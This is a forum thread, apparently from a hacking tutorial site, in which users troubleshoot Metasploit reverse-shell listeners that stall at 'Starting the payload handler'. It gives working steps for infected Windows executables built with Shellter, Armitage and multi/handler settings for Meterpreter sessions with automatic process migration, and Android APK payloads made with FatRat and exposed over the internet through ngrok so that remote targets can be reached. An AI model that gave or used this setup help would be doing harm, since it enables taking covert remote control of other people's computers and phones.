Forum Thread: Metasploit Stuck at "Starting the Payload Handler..."

First of all, the payload is already set by Shellter so that isn't needed in Metasploit. Next, double check that your lhost IP is your linux machine IP by typing in ifconfig in terminal. Then double check that it and lport match when creating your infected file with shellter. I am guessing that is your problem. Also make sure that your target computer is on the same network. If they are on different networks your lhost needs to be your public IP address which can be found by going to http://icanhazip.com or one of many others.

Extra Info: This is something that I do that I have learned and like doing for other learning purposes. Feel free to try it out.

Instead of Metasploit I use Armitage. I run Kali off a USB so any time I start up Kali I have to run this process but it's not hard. Armitage is a GUI version of Metasploit and becomes way easier to use. Personally I would suggest to any beginner to learn with Metasploit first though to understand the basics of how it works.

Commands in terminal::
msfupdate
apt-get install armitage
msfdb init
armitage

click connect
click yes

Once Armitage opens type what you normally would on metasploit.
use exploit/multi/handler
set lhost 192.168.x.x
set lport 4444

I then add these commands

set exitonsession false
set autorunscript migrate -f
set prependmigrate true

(The first command allow for more than one session so you don't have to keep running the exploit and the other two commands will automatically change the process as soon as you get a meterpreter session.)

Then exploit with the command: exploit -j

Then run your infected executable on your target computer.

Hi

everything was fine, but when i run the exploit -j it keeps looping opening sessions ... i got many sessions for the host that connect , and after that i get an error in each sessin after i execute any command .

the error is stdapi try command again

can you please help?
thanks

Hey thanks for replying, I tried again and omitted the

set payload windows/meterpreter/reverse_tcp step and double checked the IP i used is for the Linux machine and is the same IP i sued when making the file in Shellter. However its still stuck at "Starting the Payload Handler..." I tried to upload a screenshot too but i dont know how to, sorry im new to WHT

EDIT: btw i didnt know about using public IP if they arent on the same network, thanks for that

First my session was successfully connected but next day it hot stuck at * Starting the payload handler...
With armitage it's also same
I updated my metasploit by msfupdate
I am running Kali Linux 2016.2 full i686 on VMWare
Now it gives this error in the terminal opened with armitage that
Used the tab method: 192.168.XXX.XXX
Starting Cortana on 192.168.XXX.XXX
Creating a default reverse handler... 0.0.0.0:24238

• console command Timed out: '{Exit0nSession=false and so on

Remote Exploit Stances

The Payload APK was installed and opened also

Screenshots herehttp://prntscr.com/dawnmu

Hey, Can anyone help me finding why I can't get a working metasploit session?
It gets stucked in starting the payload handler
I'm using ngrok for port forwarding option.
Did everything that are mentioned in the site..

Please tell me your commands for your listener and your payload. That way I can see if you are doing something wrong.

I'm using fatrat with ngrok to create a payload (android apk)
Starting ngrok :
./ngrok tcp 4564

For the payload :
set lhost 0.tcp.ngrok.io
set lport xxxx (port from ngrok)
For the listener :

1. I opened msfconsole
2. use multi/handler
3. set payload android/meterpreter/reverse_tcp
4. set lhost 0.0.0.0( my private ip (got from ifconfig))
5. set lport 4564 (same as the port I started ngrok with)
6. exploit

The procedure is working when I'm in LAN and dont have to use ngrok.. But over wan it's not starting.

Maybe the problem is because I can't establish a ngrok tunnel properly to my machine.

Also previously I was successful using ngrok with social engineering tools, but now it gives me the error(attached image). I guess because of this only metasploit session is not opening. Please Help

Sorry, I'm unable to help. I don't know anything about ngrok. Hopefully someone else can help. I'd recommend posting your own forum topic.

Okay, Did that. Thanks Anyway.
And if you know someone who might help me with this, here is the link to my forum
null-byte.wonderhowto.com/forum/need-help-with-fatrat-over-wan-0183192/
Have a good day..

M process is stuck at "Started reverse TCP handler on 0.0.0.0(my IP using ifconfig).

Anyone knows the answer to this questions

M process is stuck at "Started reverse TCP handler on 0.0.0.0(my IP using ifconfig).???